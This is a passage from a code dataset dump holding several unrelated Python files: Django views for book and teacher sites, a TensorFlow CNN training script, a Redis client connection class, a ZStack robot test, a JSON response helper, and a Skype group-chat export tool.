Book.DoesNotExist:\n raise Http404(\"Not found....\")\n except Book.MultipleObjectsReturned:\n qs=Book.objects.filter(slug=slug,active=True)\n instance=qs.first()\n except:\n raise Http404(\"Ummmm\")\n \n return instance\n\n\ndef book_list_view(request):\n instance=Book.objects\n slide=HomeSlide.objects.all()\n extra=Book.objects.filter(category='Extra',donation=False).order_by('-id')[:4]\n last_four = Book.objects.filter(donation=False).order_by('-id')[:4]\n featured=Book.objects.filter(featured=True)\n \n d_of_day = []\n for book in Book.objects.order_by('?')[0:5]:\n d_of_day.append(book)\n context={\n 'object':instance,\n 'homeslide':slide,\n 'latest':last_four,\n 'featured':featured,\n 'extra':extra,\n 'd_of_day':d_of_day,\n\n} \n return render(request,\"home.html\",context)\n\n\n\ndef plustwo(request):\n book=Book.objects.filter(category='+2')\n title=\"Plus two books\"\n return render(request,\"category.html\",{'title':title,'book':book}) \n \ndef bachelor(request):\n book=Book.objects.filter(category='Bachelor' , donation=False)\n title=\"Bachelor books\"\n return render(request,\"category.html\",{'title':title,'book':book}) \n\ndef diploma(request):\n book=Book.objects.filter(category='Diploma', donation=False)\n title=\"Diploma Books\"\n return render(request,\"category.html\",{'title':title,'book':book}) \n\ndef see(request):\n book=Book.objects.filter(category='SEE', donation=False )\n title=\"SEE Books\"\n return render(request,\"category.html\",{'title':title,'book':book}) \n\ndef school(request):\n book=Book.objects.filter(category='School', donation=False)\n title=\"School Books\"\n return render(request,\"category.html\",{'title':title,'book':book}) \n\ndef master(request):\n book=Book.objects.filter(category='Master', donation=False)\n title=\"Master Books\"\n return render(request,\"category.html\",{'title':title,'book':book}) \n\ndef extra(request):\n book=Book.objects.filter(category='Extra', donation=False)\n title=\"Extra Books\"\n return render(request,\"category.html\",{'title':title,'book':book}) \n\n\ndef new_collections(request):\n count= Book.objects.all().count()\n book=Book.objects.all().order_by('-id')[0:count]\n return render(request,\"new_collections.html\",{'new':book}) \n\ndef donations(request):\n \n book=Book.objects.filter(donation=True)\n return render(request,\"donations.html\",{'donations':book}) ","sub_path":"last_this_is_last_final_testing_code-master/homepage/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"37266532","text":"import os\nimport random\nimport tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom tensorflow import keras\nfrom tensorflow.keras import layers\nfrom tensorflow.keras.models import Sequential\n\n\n\n\ndef load_Data(path, file_list):\n\trtn = []\n\t\n\tfor filename in file_list:\n\t\tfull_path = path + os.sep + filename\n\t\ttemp_list = []\n\t\twith open(full_path, 'r', encoding='UTF-8') as f:\n\t\t\tfor line in f.readlines():\n\t\t\t\tline = line.strip()\n\t\t\t\tif len(line) > 0 :\n\t\t\t\t\tline = line.split(',')\n\t\t\t\t\tline = list(map(eval, line))\n\t\t\t\t\ttemp_list.append(line)\n\t\trtn.append(temp_list)\n\t\t\n\treturn rtn\n\n\ndef make_Window_List(database, epoc, insert_flag, insert_rate, seps):\n\tEPOC_count = 0\n\tfile_count = 0\n\ttotal_data_list = []\n\ttotal_label_list = []\n\t\n\tfor i in range(epoc):\n\t\trandom.shuffle(database)\n\t\tfor file_data in database:\n\t\t\tfor line in file_data:\n\t\t\t\ttotal_data_list.append(line[:-1])\n\t\t\t\ttotal_label_list.append(line[-1])\n\t\t\tif insert_flag:\n\t\t\t\trd = random.randint(0,99)\n\t\t\t\tif rd < insert_rate:\n\t\t\t\t\ttgt = random.randint(0,len(seps)-1)\n\t\t\t\t\tfor line in seps[tgt]:\n\t\t\t\t\t\ttotal_data_list.append(line[:-1])\n\t\t\t\t\t\ttotal_label_list.append(line[-1])\n\t\t\tfile_count += 1\n\t\tEPOC_count += 1\n\n\tline_count = len(total_data_list)\n\tleft_lenth = (line_count - WINDOW_SIZE) % WINDOW_STEP\n\tif left_lenth != 0:\n\t\tfor i in range(WINDOW_STEP - left_lenth):\n\t\t\ttotal_data_list.append(total_data_list[-1])\n\t\t\ttotal_label_list.append(total_label_list[-1])\n\tline_count = len(total_data_list)\n\t\n\tdata_window_list = []\n\tlabel_window_list = []\n\twindow_start = 0\n\twhile window_start+WINDOW_SIZE <= len(total_data_list):\n\t\tdata_window_list.append(total_data_list[window_start : window_start+WINDOW_SIZE])\n\t\ttemp_label = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0]\n\t\tfor i in range(window_start, window_start+WINDOW_SIZE):\n\t\t\ttyp = total_label_list[i]\n\t\t\ttemp_label[typ] += 1\n\t\tfor i in range(len(temp_label)):\n\t\t\ttemp_label[i] = temp_label[i] / WINDOW_SIZE\n\t\tlabel_window_list.append(temp_label)\n\t\twindow_start += WINDOW_STEP\n\n\twindow_count = len(data_window_list)\n\tX = np.array(data_window_list).reshape(window_count, WINDOW_SIZE, 7, 1)\n\tY = np.array(label_window_list).reshape(window_count, 7)\n\t\n\tprint(\"\\n######################MAKING DATA######################\")\n\tprint(\"Making Data_List: \")\n\tprint(\"----Total Epoc: {}.\".format(EPOC_count))\n\tprint(\"----Total File: {}.\".format(file_count))\n\tprint(\"----Total Line: {}.\".format(line_count))\n\tprint(\"----Total Window: {}.\".format(window_count))\n\tprint(\"######################MAKING DATA######################\\n\")\n\n\treturn X, Y\n\n\n\n\n# Load action data into memory\nvec_path = '.' + os.sep + 'Vecs'\nvec_list = os.listdir(vec_path)\n\ntest_file_list = vec_list[(int)(0.0*len(vec_list)) : (int)(0.1*len(vec_list))]\nvalid_file_list = vec_list[(int)(0.0*len(vec_list)) : (int)(0.1*len(vec_list))]\ntrain_file_list = vec_list[(int)(0.0*len(vec_list)) : (int)(0.0*len(vec_list))] + vec_list[(int)(0.1*len(vec_list)) : (int)(1.0*len(vec_list))]\n\ntrain_base = load_Data(vec_path, train_file_list)\nvalid_base = load_Data(vec_path, valid_file_list)\ntest_base = load_Data(vec_path, test_file_list)\n\n# Load no-action data into memory\nsep_path_train = '.' + os.sep + 'Seps' + os.sep + 'train'\nsep_path_test = '.' + os.sep + 'Seps' + os.sep + 'test'\nsep_list_train = os.listdir(sep_path_train)\nsep_list_test = os.listdir(sep_path_test)\nsep_base_train = load_Data(sep_path_train, sep_list_train)\nsep_base_test = load_Data(sep_path_test, sep_list_test)\n\n# Hyperparameters\nEPOC = 5\nWINDOW_SIZE = 60\nWINDOW_STEP = 5\nTRAIN_INSERT_RATE = 33\nTEST_INSERT_RATE = 100\n\nprint(\"\\n######################DATA ANALYZE######################\")\nprint(\"Total Movements: {}.\".format(len(vec_list)))\nprint(\"----Train Movements: {}.\".format(len(train_file_list)))\nprint(\"----Test Movements: {}.\".format(len(test_file_list)))\nprint(\"----Validation Movements: {}.\\n\".format(len(valid_file_list)))\nprint(\"Hyperparameters:\")\nprint(\"----Epoc: {}.\".format(EPOC))\nprint(\"----Window Size: {}.\".format(WINDOW_SIZE))\nprint(\"----Window Step: {}.\".format(WINDOW_STEP))\nprint(\"######################DATA ANALYZE######################\\n\")\n\n# Define model\ndef create_model():\n\tmodel = Sequential()\n\tmodel.add(layers.Conv2D(64, (3,3), activation='tanh', input_shape=(WINDOW_SIZE, 7, 1)))\n\tmodel.add(layers.MaxPooling2D(pool_size=(2, 2), strides=(1, 1), padding='valid'))\n\tmodel.add(layers.Conv2D(128, (3,3), activation='tanh'))\n\tmodel.add(layers.MaxPooling2D(pool_size=(2, 2), strides=(1, 1), padding='valid'))\n\tmodel.add(layers.Flatten())\n\tmodel.add(layers.Dense(64, activation='tanh'))\n\tmodel.add(layers.Dropout(0.5))\n\tmodel.add(layers.Dense(7, activation='softmax'))\n\tmodel.compile(optimizer='adam',\n\t\t\t\t\tloss=tf.keras.losses.CosineSimilarity(),\n\t\t\t\t\tmetrics=['accuracy'])\n\treturn model\n\t\nmodel = create_model()\nmodel.summary()\n\n# Generate datastream\ntest_data_list, test_label_list = make_Window_List(test_base, 1, True, TEST_INSERT_RATE, sep_base_train)\nvalid_data_list, valid_label_list = make_Window_List(valid_base, 1, True, TEST_INSERT_RATE, sep_base_test)\n\n\n# Training\ntrain_data_list, train_label_list = make_Window_List(train_base, EPOC, True, TRAIN_INSERT_RATE, sep_base_test)\nhistory = model.fit(train_data_list, train_label_list, validation_data=(valid_data_list, valid_label_list), batch_size=128, epochs=10)\ntest_loss, test_acc = model.evaluate(test_data_list, test_label_list)\n\nrtn_t = model.predict(test_data_list, batch_size=64)\nrtn = rtn_t.tolist()\n\nwith open('Output0.txt', 'w', encoding='UTF-8') as f:\n\tf.write(str(test_loss) + '\\t' + str(test_acc) + '\\n')\n\tcount = 0\n\tfor i in range(len(rtn)):\n\t\tbig = max(rtn[i])\n\t\tid1 = rtn[i].index(big)\n\t\tbig = max(test_label_list[i])\n\t\tid2 = test_label_list[i].tolist().index(big)\n\t\tf.write(str(id1) + '\\t' + str(id2) + '\\n')\n\t\tif id1 == id2:\n\t\t\tcount += 1\nacc = count / len(test_data_list)\nprint(acc)\n\n# Save tf.keras model in pb format\nkeras_model_path = '.' + os.sep + 'Models' + os.sep + 'Saved_Model' + os.sep\ntf.saved_model.save(model, keras_model_path)","sub_path":"CNNLSTM_cnn.py","file_name":"CNNLSTM_cnn.py","file_ext":"py","file_size_in_byte":5989,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"403479852","text":"from .environment import get_environment\nfrom ..decoder import RedisRespDecoder, need_more_data, Error\nfrom ..encoder import RedisRespEncoder\nfrom ..errors import CommunicationError, PipelinedExceptions\nfrom ..utils import get_command_name, is_multiple_commands\n\n\n# TODO (correctness) watch for manual SELECT and set_database !\n\n\nnot_allowed_push_commands = set([b\"MONITOR\", b\"SUBSCRIBE\", b\"PSUBSCRIBE\", b\"UNSUBSCRIBE\", b\"PUNSUBSCRIBE\"])\n\n\nclass TimeoutError(Exception):\n pass\n\n\ntimeout_error = TimeoutError()\n\n\nclass Connection:\n @classmethod\n def create(cls, username=None, password=None, client_name=None, resp_version=2, socket_factory=\"tcp\", connect_retry=2, database=0, **kwargs):\n ret = cls()\n ret._init(username, password, client_name, resp_version, socket_factory, connect_retry, database, **kwargs)\n return ret\n\n def __init__(self):\n self._socket = None\n\n # TODO (api) client_name with connection pool (?)\n # TODO (documentation) the username/password/client_name need the decoding of whatever **kwargs is passed\n def _init(self, username=None, password=None, client_name=None, resp_version=2, socket_factory=\"tcp\", connect_retry=2, database=0, **kwargs):\n resp_version = int(resp_version)\n connect_retry = int(connect_retry)\n database = int(database)\n\n if resp_version not in (-1, 2, 3):\n raise ValueError(\"Unsupported RESP protocol version %s\" % resp_version)\n\n self._settings = kwargs\n\n environment = get_environment(**kwargs)\n connect_retry += 1\n while connect_retry:\n try:\n self._socket = environment.socket(socket_factory, **kwargs)\n break\n except Exception as e:\n connect_retry -= 1\n if not connect_retry:\n raise CommunicationError() from e\n self._encoder = RedisRespEncoder(**kwargs)\n self._decoder = RedisRespDecoder(**kwargs)\n self._seen_eof = False\n self._peername = self._socket.peername()\n self._seen_moved = False\n self._seen_ask = False\n self._allow_multi = False\n self._default_database = self._last_database = database\n\n connected = False\n # Try to negotiate RESP3 first if RESP2 is not forced\n if resp_version != 2:\n args = [b\"HELLO\", b\"3\"]\n if password is not None:\n if username is not None:\n args.extend((b\"AUTH\", username, password))\n else:\n args.extend((b\"AUTH\", b\"default\", password))\n if client_name:\n args.extend((b\"SETNAME\", client_name))\n try:\n # TODO (misc) do something with the result ?\n self._command(*args)\n connected = True\n except Error as e:\n # This is to seperate an login error from the server not supporting RESP3\n if e.args[0].startswith(\"ERR \"):\n if resp_version == 3:\n # TODO (misc) this want have a __cause__ is that ok ? what exception to throw here ?\n raise Exception(\"Server does not support RESP3 protocol\")\n else:\n raise\n if not connected:\n if password:\n if username:\n self._command(b\"AUTH\", username, password)\n else:\n self._command(b\"AUTH\", password)\n if client_name:\n self._command(b\"CLIENT\", b\"SETNAME\", client_name)\n if database != 0:\n self._command(b\"SELECT\", database)\n\n def __del__(self):\n self.close()\n\n def close(self):\n if self._socket:\n try:\n self._socket.close()\n except Exception:\n pass\n self._socket = None\n self._encoder = None\n self._decoder = None\n\n # TODO (misc) better check ? (maybe it's closed, but the socket doesn't know it yet..., will be known the next time though)\n def closed(self):\n return self._socket is None\n\n def peername(self):\n return self._peername\n\n def _send(self, *cmd):\n try:\n if is_multiple_commands(*cmd):\n self._encoder.encode_multiple(*cmd)\n else:\n self._encoder.encode(*cmd)\n while True:\n data = self._encoder.extract()\n if data is None:\n break\n self._socket.send(data)\n except ValueError as e:\n raise\n except Exception as e:\n self.close()\n raise CommunicationError(\"I/O error while trying to send a command\") from e\n\n # TODO (misc) should a decoding error be considered an CommunicationError ?\n def _recv(self, timeout=False):\n try:\n while True:\n res = self._decoder.extract()\n if res == need_more_data:\n if self._seen_eof:\n self.close()\n raise EOFError(\"Connection reached EOF\")\n else:\n data = self._socket.recv(timeout)\n if data == b\"\":\n self._seen_eof = True\n elif data is None:\n return timeout_error\n else:\n self._decoder.feed(data)\n continue\n return res\n except Exception as e:\n self.close()\n raise CommunicationError(\"Error while trying to read a reply\") from e\n\n def pushed_message(self, timeout=False, decoder=False, attributes=None):\n orig_decoder = None\n if decoder != False or attributes is not None:\n orig_decoder = self._decoder\n kwargs = self._settings.copy()\n if decoder != False:\n kwargs[\"decoder\"] = decoder\n if attributes is not None:\n kwargs[\"attributes\"] = attributes\n self._decoder = RedisRespDecoder(**kwargs)\n try:\n res = self._recv(timeout)\n if res == timeout_error:\n return None\n return res\n finally:\n if orig_decoder is not None:\n self._decoder = orig_decoder\n\n def push_command(self, *cmd):\n self._send(*cmd)\n\n def set_database(self, database):\n if database is None:\n if self._default_database != self._last_database:\n self._command(b\"SELECT\", self._default_database)\n self._last_database = self._default_database\n else:\n if database != self._last_database:\n self._command(b\"SELECT\", database)\n self._last_database = database\n\n def __call__(self, *cmd, decoder=False, attributes=None, database=None, asking=False):\n if not cmd:\n raise ValueError(\"No command provided\")\n orig_decoder = None\n if decoder != False or attributes is not None:\n orig_decoder = self._decoder\n kwargs = self._settings.copy()\n if decoder != False:\n kwargs[\"decoder\"] = decoder\n if attributes is not None:\n kwargs[\"attributes\"] = attributes\n self._decoder = RedisRespDecoder(**kwargs)\n try:\n self.set_database(database)\n if is_multiple_commands(*cmd):\n return self._commands(*cmd)\n else:\n if asking:\n self._command(b\"ASKING\")\n return self._command(*cmd)\n finally:\n if orig_decoder is not None:\n self._decoder = orig_decoder\n\n def _command(self, *cmd):\n command_name = get_command_name(cmd)\n if command_name in not_allowed_push_commands:\n raise ValueError(\"Command %s is not allowed to be called directly, use the appropriate API instead\" % cmd)\n if command_name == b\"MULTI\" and not self._allow_multi:\n raise ValueError(\"Take a connection if you want to use MULTI command.\")\n self._send(*cmd)\n res = self._recv()\n if isinstance(res, Error):\n if res.args[0].startswith(\"MOVED \"):\n self._seen_moved = True\n if res.args[0].startswith(\"ASK \"):\n _, _, address = res.args[0].split(\" \")\n self._seen_ask = address\n raise res\n if res == timeout_error:\n self.close()\n raise timeout_error\n return res\n\n def _commands(self, *cmds):\n for cmd in cmds:\n command_name = get_command_name(cmd)\n if command_name in not_allowed_push_commands:\n raise ValueError(\"Command %s is not allowed to be called directly, use the appropriate API instead\" % cmd)\n if command_name == b\"MULTI\" and not self._allow_multi:\n raise ValueError(\"Take a connection if you want to use MULTI command.\")\n self._send(*cmds)\n res = []\n found_errors = False\n for _ in cmds:\n try:\n result = self._recv()\n if isinstance(result, Error):\n if result.args[0].startswith(\"MOVED \"):\n self.seen_moved = True\n found_errors = True\n if result == timeout_error:\n self.close()\n except Exception as e:\n result = e\n found_errors = True\n res.append(result)\n if found_errors:\n raise PipelinedExceptions(res)\n return res\n\n def seen_moved(self):\n if self._seen_moved:\n self._seen_moved = False\n return True\n return False\n\n def seen_asked(self):\n if self._seen_ask:\n ret = self._seen_ask\n self._seen_ask = False\n return ret\n return False\n\n def allow_multi(self, allow):\n self._allow_multi = allow\n","sub_path":"justredis/sync/connection.py","file_name":"connection.py","file_ext":"py","file_size_in_byte":10103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"511885874","text":"'''\r\n\r\n@author: Youyk\r\n'''\r\nimport zstackwoodpecker.action_select as action_select\r\nimport zstackwoodpecker.test_util as test_util\r\nimport zstackwoodpecker.test_state as test_state\r\nimport zstackwoodpecker.test_lib as test_lib\r\nimport zstackwoodpecker.header.vm as vm_header\r\nimport os\r\nimport time\r\n\r\n_config_ = {\r\n 'timeout' : 8400,\r\n 'noparallel' : False\r\n }\r\n\r\ntest_dict = test_state.TestStateDict()\r\n \r\ndef test():\r\n test_util.test_dsc('''\r\n Will doing random test Security Group operations, including SG create/delete, rule add/remove, vm nics attach/detach. If reach max 4 coexisting running vm, testing will success and quit. Volume actions and Image actions are removed in this robot test.\r\n VM resources: Since SG testing will create target test vm, there might be max 12 running VMs: 4 VR VMs, 4 SG target test VMs and 4 test VMs.\r\n ''')\r\n\r\n target_running_vm = 4\r\n\r\n # just to generate All_l3\r\n test_lib.lib_get_random_l3_conf_from_plan()\r\n\r\n target_l3s = test_lib.lib_get_limited_l3_network(2, 5)\r\n\r\n vr_num = 0\r\n for target_l3 in target_l3s:\r\n vr_l3_uuid = target_l3.uuid\r\n vrs = test_lib.lib_find_vr_by_l3_uuid(vr_l3_uuid)\r\n temp_vm = None\r\n if not vrs:\r\n #create temp_vm for getting its vr for test pf_vm portforwarding\r\n vm_create_option = test_util.VmOption()\r\n vm_create_option.set_l3_uuids([vr_l3_uuid])\r\n temp_vm = test_lib.lib_create_vm(vm_create_option)\r\n test_dict.add_vm(temp_vm)\r\n\r\n #we only need temp_vm's VR\r\n temp_vm.destroy()\r\n test_dict.rm_vm(temp_vm)\r\n\r\n vr_num += 1\r\n #VIP testing need 3 VRs\r\n if vr_num > 2:\r\n break \r\n\r\n utility_vm_create_option = test_util.VmOption()\r\n utility_vm_create_option.set_image_uuid(test_lib.lib_get_image_by_name(img_name=os.environ.get('imageName_net')).uuid)\r\n l3_uuid = test_lib.lib_get_l3_by_name(os.environ.get('l3VlanNetworkName1')).uuid\r\n utility_vm_create_option.set_l3_uuids([l3_uuid])\r\n utility_vm = test_lib.lib_create_vm(utility_vm_create_option)\r\n test_dict.add_utility_vm(utility_vm)\r\n utility_vm.check()\r\n\r\n vm_create_option = test_util.VmOption()\r\n #image has to use network test image, as it needs to do port checking\r\n vm_create_option.set_image_uuid(test_lib.lib_get_image_by_name(img_name=os.environ.get('imageName_net')).uuid)\r\n\r\n #Add 2 times sg_rule_operations.\r\n priority_actions = [test_state.TestAction.sg_rule_operations] * 2 + \\\r\n [test_state.TestAction.vip_operations] * 4\r\n \r\n vrs = test_lib.lib_find_vr_by_l3_uuid(vr_l3_uuid)\r\n public_l3 = test_lib.lib_find_vr_pub_nic(vrs[0]).l3NetworkUuid\r\n robot_test_obj = test_util.Robot_Test_Object()\r\n robot_test_obj.set_test_dict(test_dict)\r\n robot_test_obj.set_vm_creation_option(vm_create_option)\r\n priority_action_obj = action_select.ActionPriority()\r\n priority_action_obj.add_priority_action_list(priority_actions)\r\n robot_test_obj.set_priority_actions(priority_action_obj)\r\n robot_test_obj.set_public_l3(public_l3)\r\n robot_test_obj.set_utility_vm(utility_vm)\r\n test_util.test_dsc('Random Test Begin. Test target: 4 coexisting running VM (not include VR and SG target test VMs.).')\r\n rounds = 1\r\n current_time = time.time()\r\n timeout_time = current_time + 3600 + 3600\r\n #timeout_time = current_time + 300\r\n while time.time() <= timeout_time:\r\n test_util.test_dsc('New round %s starts: random operation pickup.' % rounds)\r\n test_lib.lib_vm_random_operation(robot_test_obj)\r\n test_util.test_dsc('Round %s finished. Begin status checking.' % rounds)\r\n rounds += 1\r\n test_lib.lib_robot_status_check(test_dict)\r\n\r\n test_util.test_dsc('Reach test pass exit criterial.')\r\n test_lib.lib_robot_cleanup(test_dict)\r\n test_util.test_pass('Create random VM Test Success')\r\n\r\n#Will be called only if exception happens in test().\r\ndef error_cleanup():\r\n test_lib.lib_robot_cleanup(test_dict)\r\n","sub_path":"integrationtest/vm/multizones/test_all_ops_robot_2_hours.py","file_name":"test_all_ops_robot_2_hours.py","file_ext":"py","file_size_in_byte":4074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"409471123","text":"\nclass Response:\n\n def __init__(self, name, dict_={}):\n self._name = name\n self._keys = list()\n for attr in dict_:\n if isinstance(dict_.get(attr), dict):\n dict_[attr] = self.__class__.from_dict(attr, dict_.get(attr, None))\n elif isinstance(dict_.get(attr), list):\n dict_[attr] = list(self.__class__(attr, dt) for dt in dict_.get(attr))\n self._keys.append(attr)\n self.__dict__.update(dict_)\n\n def __repr__(self):\n items = (f\"{k}={self.__dict__.get(k) !r}\" for k in self._keys)\n return f\"{self._name}({', '.join(items)})\"\n \n def __str__(self):\n items = (f\"{k}={self.__dict__.get(k) !s}\" for k in self._keys)\n return f\"{self._name}({', '.join(items)})\"\n \n def to_dict(self):\n todict = {}\n for key in self.__dict__:\n if key in self._keys:\n if isinstance(self.__dict__[key], Response):\n todict[key] = self.__dict__[key].to_dict()\n else:\n todict[key] = self.__dict__[key]\n return todict\n\n def export(self, name=None):\n \"\"\" \n >>>\n json_response = {\n \"success\": True,\n \"data\": {\n \"uid\": \"2110141010\",\n \"full_name\": \"Ardika Bagus Saputro\",\n \"first_name\": \"Ardika\",\n \"middle_name\": \"Bagus\",\n \"last_name\": \"Saputro\",\n \"hobbies\": [\"Read\", \"Hiking\", \"Code\"],\n \"skills\": [\n \"Python\", \"Golang\", \"Distributed System\", \n \"Infrastructure Best Practice\", \"DevOps Related\", \n \"Linux\", \"Monitoring\", \"Containerization\"\n ],\n \"role\": \"Infrastructure with Code guy\",\n \"title\": \"Site Infrastructure Engineer\"\n }\n }\n obj = Response(\"ObjResponse\", json_response)\n data_obj = obj.data.export(\"DataObj\")\n\n return:\n DataObj(uid='2110141010', full_name='Ardika Bagus Saputro', first_name='Ardika', ...)\n \"\"\"\n if isinstance(self, Response):\n if name:\n self._name = name\n return self \n else:\n raise ValueError(\"Field is not a dict type, so it can't convert to object\")\n\n @classmethod\n def from_dict(cls, name, dict_={}):\n if dict_ is None:\n return None\n\n doc = cls(name, dict_)\n return doc\n ","sub_path":"pyutilz/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":2605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"223123610","text":"import xlsxwriter\nimport re\n\n\n# from progress.spinner import Spinner\n# xlsxwriter\n# workbook = xlsxwriter.Workbook('gcmsgs.xlsx')\n\ndef allgchistory(sk, gcid):\n filename = getfilename()\n workbook = getworkbook(filename) # workbook \n\n ln = len(gcid)\n history = True\n\n recentprevious = input(\"\\nPress 1 recent messages only\\nPress 3 from start to precent messages: \")\n\n for x in gcid:\n if ln <= 0:\n workbook.close()\n history = False\n print(\"Group chat history successfully extracted.\")\n break\n else:\n ln -= 1\n\n if re.findall('19', x):\n ch = sk.chats.chat(x)\n\n sheetname = cleanstring(gcid[x].topic) # remove special characters\n msg(sheetname)\n worksheet = workbook.add_worksheet(sheetname)\n\n if recentprevious == '1':\n getrecentmsgs(ch, sk, worksheet, history)\n elif recentprevious == '3':\n getMsgs(ch, sk, worksheet, history)\n\n workbook.close()\n print(f'{filename} GC History successfully retrieved!')\n # uploadfile('./docs/', filename+'.xlsx') \n\n\ndef removeHtmlTag(raw_txt):\n cleanr = re.compile('<.*?>|&([a-z0-9]+|#[0-9]{1,6}|#x[0-9a-f]{1,6});')\n cleantext = re.sub(cleanr, '', raw_txt)\n return cleantext.strip()\n\n\ndef singlegchistory(sk, gcid, id):\n\n filename = getfilename()\n workbook = getworkbook(filename) # generate workbook\n\n ch = sk.chats.chat(id)\n history = True\n\n recentprevious = input(\"\\nPress 1 recent messages only\\nPress 3 from start to precent messages: \")\n\n sheetname = cleanstring(gcid[id.strip()].topic)\n\n worksheet = workbook.add_worksheet(sheetname)\n\n msg(sheetname)\n\n if recentprevious == '1':\n getrecentmsgs(ch, sk, worksheet, history)\n elif recentprevious == '3':\n getMsgs(ch, sk, worksheet, history)\n\n workbook.close()\n print(f'{filename} GC History successfully retrieved!') \n\n\ndef getworkbook(filename):\n doc = './docs/'\n\n workbook = xlsxwriter.Workbook(doc + filename + '.xlsx')\n return workbook\n\n\ndef getMsgs(ch, sk, worksheet, history):\n from animatecursor import CursorAnimation\n spin = CursorAnimation()\n\n col = 0\n row = 0\n outer = False\n msglist = [] \n spin.start()\n\n while history:\n\n gcmsgs = ch.getMsgs()\n\n for ms in gcmsgs:\n\n if re.findall('HistoryDisclosedUpdate', ms.type): #\n print(ms.type)\n print(ms.history)\n history = False\n outer = ms.history\n\n break\n\n else:\n if sk.contacts[ms.userId]:\n msglist.append(ms)\n\n if outer:\n spin.stop() \n break\n\n msglist.reverse()\n for ms in msglist:\n worksheet.write(row, col, str(ms.time))\n worksheet.write(row, col + 1, sk.contacts[ms.userId].name.first)\n worksheet.write(row, col + 2, removeHtmlTag(ms.content))\n row += 1 \n\n \n spin.stop()\n \n\ndef msg(cleanString):\n print(f\"Extracting: {cleanString} Chat History...\")\n\n\ndef cleanstring(strval):\n cleanString = re.sub('\\W+', ' ', strval)\n if len(cleanString) > 30:\n cleanString = cleanString[:30]\n\n content = cleanString.encode('utf-8').decode('utf8')\n return content\n\n\ndef getfilename():\n filename = input(\"Enter File name: \")\n return filename\n\n\ndef getallrecentmsgs():\n print(\"all recent gc msgs\")\n\n\ndef getrecentmsgs(ch, sk, worksheet, history):\n from animatecursor import CursorAnimation\n spin = CursorAnimation()\n\n col = 0\n row = 0\n outer = False\n msglist = []\n\n spin.start()\n\n gcmsgs = ch.getMsgs()\n\n for ms in gcmsgs:\n \n if sk.contacts[ms.userId]:\n msglist.append(ms) \n \n msglist.reverse()\n for ms in msglist:\n worksheet.write(row, col, str(ms.time))\n worksheet.write(row, col + 1, sk.contacts[ms.userId].name.first)\n worksheet.write(row, col + 2, removeHtmlTag(ms.content))\n row += 1\n history = False\n\n spin.stop()\n \n","sub_path":"extractor.py","file_name":"extractor.py","file_ext":"py","file_size_in_byte":4122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"79314804","text":"from django.shortcuts import render\n\n# Create your views here.\nfrom django.shortcuts import render\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom .models import Subject, Teacher\nfrom django.contrib.auth.models import User\nfrom django.db.models import ObjectDoesNotExist\nfrom django.core.paginator import Paginator\nfrom django.views.generic.base import TemplateResponseMixin, View\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.views.generic.list import ListView\nfrom django.views.generic.detail import DetailView\nfrom django.core.files import File\n\nfrom django import forms\nfrom .forms import TeacherForm, ImportFileForm\nfrom django.contrib import messages\nfrom zipfile import ZipFile\nfrom django.conf import settings\nfrom io import BytesIO\nimport os\nfrom django.core.files.storage import default_storage\nfrom django.core.files.base import ContentFile\nimport io\nimport csv\nimport zipfile\nfrom io import TextIOWrapper\n\n\nclass DashboardView(View):\n model = Teacher\n template_name = 'dashboard.html'\n\n def get(self, request):\n teachers = self.model.objects.all()\n return render(request, self.template_name, {'teachers': teachers, 'filename': 'dashboard'})\n\n\nclass TeachersView(ListView):\n paginate_by = 2\n model = Teacher\n template_name = 'teacher/teachers_list.html'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n array_last_name = []\n array_subjects_thought = []\n all_teachers = self.model.objects.values_list('last_name', flat=True).exclude(\n last_name='').filter(last_name__isnull=False).order_by('last_name').distinct()\n all_subjects = Subject.objects.values_list('display_name', flat=True).filter(\n display_name__isnull=False).exclude(display_name='').order_by('display_name').distinct()\n for teacher in all_teachers:\n letter_first = teacher.strip().upper()[0]\n if letter_first not in array_last_name:\n array_last_name.append(letter_first)\n for subject in all_subjects:\n letter_first = subject.strip()\n if letter_first not in array_subjects_thought:\n array_subjects_thought.append(letter_first)\n context['array_last_name'] = array_last_name\n context['filename'] = 'teachers'\n context['array_subjects_thought'] = array_subjects_thought\n return context\n\n def get_queryset(self):\n teachers = self.model.objects.all()\n last_name = self.request.GET.get(\"last_name\")\n subjects_taught = self.request.GET.get(\"subjects_taught\")\n if last_name or subjects_taught:\n if subjects_taught:\n teachers = teachers.filter(subjects__display_name__contains=subjects_taught)\n if last_name:\n teachers = teachers.filter(last_name__istartswith=last_name)\n return teachers\n\n\nclass TeacherProfileView(DetailView):\n model = Teacher\n\n\nclass UploadTeachersView(LoginRequiredMixin, TemplateResponseMixin, View):\n template_name = 'teacher/teacher_upload.html'\n\n def get(self, request):\n form = ImportFileForm()\n return render(request, self.template_name, {'form': form})\n\n def post(self, request, *args, **kwargs):\n zippath = settings.MEDIA_ROOT.joinpath('tmp').joinpath('teachers.zip')\n form = ImportFileForm(request.POST, request.FILES)\n if form.is_valid():\n images = request.FILES['images']\n with open(zippath, 'wb+') as destination:\n for chunk in images.chunks():\n destination.write(chunk)\n\n names = request.FILES['names']\n archive = zipfile.ZipFile(zippath, 'r')\n data_bytes = TextIOWrapper(request.FILES['names'].file,\n encoding='utf-8')\n data_reader = csv.DictReader(data_bytes)\n try:\n for row in data_reader:\n\n if row['First Name'].strip() == '' or row['Email Address'].strip() == '':\n raise Exception('First Name / Email cant be blank')\n teacher = Teacher()\n teacher.first_name = row['First Name'].strip()\n teacher.last_name = row['Last Name'].strip()\n teacher.email = row['Email Address'].strip()\n teacher.phone = row['Phone Number'].strip()\n teacher.room_no = row['Room Number'].strip()\n teacher.save()\n subjects = row['Subjects 